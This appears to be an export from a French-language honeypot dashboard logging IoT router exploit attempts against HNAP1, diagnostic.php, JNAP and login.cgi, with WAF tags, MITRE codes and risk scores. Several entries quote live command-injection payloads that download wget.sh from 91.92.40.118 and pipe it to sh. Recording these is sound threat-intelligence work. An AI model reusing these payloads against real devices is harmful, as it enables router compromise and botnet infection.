"request_line": "GET \/HNAP1\/GetDeviceSettings\/`cd HTTP\/1.1",
"request_sample": "GET \/HNAP1\/GetDeviceSettings\/`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s dhnap2;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s dhnap2;curl http:\/\/91.92.40.118\/wget.sh|sh -s dhnap2` HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nSOAPAction: \"http:\/\/purenetwor",
"payload_snippet": "GET \/HNAP1\/GetDeviceSettings\/`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s dhnap2;busybox wget http:\/\/91.92.40.118\/wget.sh",
"evidence": {
"method": "GET",
"path": "\/HNAP1\/GetDeviceSettings\/`cd",
"waf_tags": [
"950310:lfi-12",
"950324:rce-0",
"950326:rce-0",
"950334:rce-2",
"950346:rce-5",
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "GET \/HNAP1\/GetDeviceSettings\/`cd HTTP\/1.1",
"request_sample": "GET \/HNAP1\/GetDeviceSettings\/`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s dhnap2;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s dhnap2;curl http:\/\/91.92.40.118\/wget.sh|sh -s dhnap2` HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nSOAPAction: \"http:\/\/purenetwor",
"payload_snippet": "GET \/HNAP1\/GetDeviceSettings\/`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s dhnap2;busybox wget http:\/\/91.92.40.118\/wget.sh",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "154e81aa81874c71457d4a198215a91291efa2e3",
"protocol_details": {
"http_method": "GET",
"http_path": "\/HNAP1\/GetDeviceSettings\/`cd",
"request_line": "GET \/HNAP1\/GetDeviceSettings\/`cd HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/HNAP1\/GetDeviceSettings\/`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s dhnap2;busybox wget http:\/\/91.92.40.118\/wget.sh",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/HNAP1\/GetDeviceSettings\/`cd",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-12) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 67\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 67
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 67,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0145"
],
"tags_summary_labels_fr": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0145"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/HNAP1\/GetDeviceSettings\/`cd",
"request_line": "GET \/HNAP1\/GetDeviceSettings\/`cd HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/HNAP1\/GetDeviceSettings\/`cd",
"evidence_snippet": "GET \/HNAP1\/GetDeviceSettings\/`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s dhnap2;busybox wget http:\/\/91.92.40.118\/wget.sh",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950310:lfi-12",
"950324:rce-0",
"950326:rce-0",
"950334:rce-2",
"950346:rce-5",
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"http_no_ua",
"iot_http_endpoint",
"net_web_probe"
]
}
11/07/2026 23:49:09 UTC
TCP
8081 · HTTP
Sonde fichier configuration
config file probe · via HTTP:8081 · (tentative d'exploit) · → /login.cgi
Élevée
Moyen · 46
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
POST /login.cgi
Émulateur
HTTP
WAF
0
Recommandation
Surveiller
Tags
http_no_ua
http_probe_login
http_sensitive_path
iot_http_endpoint
Cible HTTP
POST
/login.cgi
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/login.cgi
Pourquoi cette classification : Sonde fichier sensible: chemin sensible (tag interne) · Correspondance tags WAF · Sonde fichier sensible / config · confiance 97%
Confiance classification
97%
Risque capteur
Moyen
· 46
Confiance : Confiance 97 % — 5 signal(aux) capteur
Protocole émulé
1 Signaux
Http Sensitive
Upstream
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Ligne de requête
POST /login.cgi HTTP/1.1
User-Agent
—
Règles WAF
—
Payload (extrait)
POST /login.cgi HTTP/1.1
Host: 62.3.50.33:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Connection:
Requête brute (extrait)
POST /login.cgi HTTP/1.1 Host: 62.3.50.33:8081 Content-Type: application/x-www-form-urlencoded Content-Length: 0 Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": "cgi",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "5d1c064d8f41c9821d75c9116650ed5db6a1a5ee",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 138,
"payload_entropy": 4.993382020862541,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 8,
"risk_classification": 74,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.1,
"risk_breakdown": {
"waf": 8,
"classification": 74,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 46,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "6088ad6471fb36962cbc880bc9ad9244373842bf",
"event_fingerprint": "59c921826918c9e8d332b1a86d3c97ce766b5bd8",
"classification_reason": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 Correspondance tags WAF \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 97%",
"confidence": 0.97,
"classification_confidence": 0.97,
"precision_score": 97,
"precision_signals": [
"INT-http_sensitive",
"INT-upstream"
],
"kb_rule_ids": [
"INT-http_sensitive",
"INT-upstream"
],
"matched_patterns": [
"pat-0842"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL"
],
"pattern_ids": [
"pat-0842"
],
"confidence_breakdown": {
"waf": 8,
"classification": 74,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 46
},
"named_classification_skipped": false,
"classification_parent": "backup_file_scan",
"service_name": "http",
"risk_confidence_factor": 97,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "44a2e9583387743be0097ea44dbbdf9a",
"path_pattern_hash": "f6e9baaa731f11923b2ba9541a8713d5"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 46
},
"payload_preview": "POST \/login.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 0\r\nConnection:",
"method": "POST",
"path": "\/login.cgi",
"request_line": "POST \/login.cgi HTTP\/1.1",
"request_sample": "POST \/login.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 0\r\nConnection: close\r\n\r\n",
"payload_snippet": "POST \/login.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 0\r\nConnection:",
"evidence": {
"method": "POST",
"path": "\/login.cgi",
"request_line": "POST \/login.cgi HTTP\/1.1",
"request_sample": "POST \/login.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 0\r\nConnection: close\r\n\r\n",
"payload_snippet": "POST \/login.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 0\r\nConnection:",
"classification_reason": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 Correspondance tags WAF \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 97%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal",
"config_leak_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "2100bf4a1bb2ff75d1d9fe828db7923a33f07cc9",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login.cgi",
"request_line": "POST \/login.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/login.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 0\r\nConnection:",
"attack_vector": "config file probe \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/login.cgi",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 97 % \u2014 5 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 Correspondance tags WAF \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 97%",
"classification_reason_label_fr": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 Correspondance tags WAF \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 97%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 46\/100 (Moyen) \u2014 MITRE T1083 \u2014 confiance 97 % \u2014 via HTTP",
"confidence_pct": 97,
"confidence_breakdown": {
"waf": 8,
"classification": 74,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 46
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 46,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"INT-http_sensitive",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Http Sensitive",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/login.cgi",
"request_line": "POST \/login.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "config file probe \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/login.cgi",
"evidence_snippet": "POST \/login.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 0\r\nConnection:",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 97 % \u2014 5 signal(aux) capteur",
"confidence_factors_fr": "Confiance 97 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_monitor",
"tags_list": [
"http_no_ua",
"http_probe_login",
"http_sensitive_path",
"iot_http_endpoint",
"net_web_probe"
]
}
11/07/2026 23:49:09 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /diagnostic.php
Élevée
Élevé · 82
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /diagnostic.php
Émulateur
HTTP
WAF
41
Recommandation
Investiguer
Tags
950311:lfi-12
950326:rce-0
950327:rce-0
950347:rce-5
Cible HTTP
POST
/diagnostic.php
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/diagnostic.php
Pourquoi cette classification : Injection de commande (tag lfi-12) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 82
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
Http Cmdi
pat-0146
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CRS 932205
LFI Double-dot bypass
Ligne de requête
POST /diagnostic.php HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-5
ssrf-3
nosqli-3
Payload (extrait)
POST /diagnostic.php HTTP/1.1
Host: 62.3.50.33:8081
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Le
Requête brute (extrait)
POST /diagnostic.php HTTP/1.1 Host: 62.3.50.33:8081 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 218 Connection: close act=ping&dst=%26%20cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20ddiag%3Bbusy
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": "php",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "0b165bcd0084116a55970e964cd92616df411a98",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 378,
"payload_entropy": 5.231474697395679,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 82,
"tag_count": 11,
"anomaly_count": 0,
"campaign_key": "3dec54a4bb053b3c6b0a6c0531fa483bf4729cb9",
"event_fingerprint": "a7e1d461678b775495a2c4fdaabb032f690935a4",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 142,
"precision_signals": [
"INT-http_cmdi",
"pat-0146"
],
"kb_rule_ids": [
"INT-http_cmdi",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0146",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CRS 932205",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0146",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "be0e3b9a4cbe8793231a02764902b0d9",
"path_pattern_hash": "918c7cd9de3921c3a9cf2fd44c04b514"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 82
},
"payload_preview": "POST \/diagnostic.php HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded; charset=UTF-8\r\nContent-Le",
"method": "POST",
"path": "\/diagnostic.php",
"waf_tags": [
"950311:lfi-12",
"950326:rce-0",
"950327:rce-0",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/diagnostic.php HTTP\/1.1",
"request_sample": "POST \/diagnostic.php HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded; charset=UTF-8\r\nContent-Length: 218\r\nConnection: close\r\n\r\nact=ping&dst=%26%20cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20ddiag%3Bbusy",
"payload_snippet": "POST \/diagnostic.php HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded; charset=UTF-8\r\nContent-Le",
"evidence": {
"method": "POST",
"path": "\/diagnostic.php",
"waf_tags": [
"950311:lfi-12",
"950326:rce-0",
"950327:rce-0",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/diagnostic.php HTTP\/1.1",
"request_sample": "POST \/diagnostic.php HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded; charset=UTF-8\r\nContent-Length: 218\r\nConnection: close\r\n\r\nact=ping&dst=%26%20cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20ddiag%3Bbusy",
"payload_snippet": "POST \/diagnostic.php HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded; charset=UTF-8\r\nContent-Le",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "21783be94bcbae9f8e55f374578e2288f8ef55b3",
"protocol_details": {
"http_method": "POST",
"http_path": "\/diagnostic.php",
"request_line": "POST \/diagnostic.php HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/diagnostic.php HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded; charset=UTF-8\r\nContent-Le",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/diagnostic.php",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 82\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 82,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"INT-http_cmdi",
"pat-0146"
],
"tags_summary_labels_fr": [
"Http Cmdi",
"pat-0146"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/diagnostic.php",
"request_line": "POST \/diagnostic.php HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/diagnostic.php",
"evidence_snippet": "POST \/diagnostic.php HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded; charset=UTF-8\r\nContent-Le",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 6 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950326:rce-0",
"950327:rce-0",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3",
"http_cmd_injection",
"http_jwt_body",
"http_no_ua",
"http_ssrf_body",
"net_web_probe"
]
}
11/07/2026 23:49:08 UTC
TCP
8081 · HTTP
Sonde HTTP smuggling
http smuggling probe · via HTTP:8081 · (tentative d'exploit) · → /JNAP/
Élevée
Élevé · 80
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /JNAP/
Émulateur
HTTP
WAF
52
Recommandation
Investiguer
Tags
950311:lfi-12
950327:rce-0
950347:rce-5
950406:ssrf-3
Cible HTTP
POST
/JNAP/
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/JNAP/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 80
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1 Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
LFI Double-dot bypass
Ligne de requête
POST /JNAP/ HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-5
ssrf-3
nosqli-3
Payload (extrait)
POST /JNAP/ HTTP/1.1
Host: 62.3.50.33:8081
Content-Type: application/json
X-JNAP-ACTION: http://linksys.com/jnap/wpsstationin
Requête brute (extrait)
POST /JNAP/ HTTP/1.1 Host: 62.3.50.33:8081 Content-Type: application/json X-JNAP-ACTION: http://linksys.com/jnap/wpsstationinfo/GetStationInfo Content-Length: 205 Connection: close device_name=cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7C
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "1590bac5c7d7e8540ab87881f47e89fa381ce665",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 394,
"payload_entropy": 5.301432592761045,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
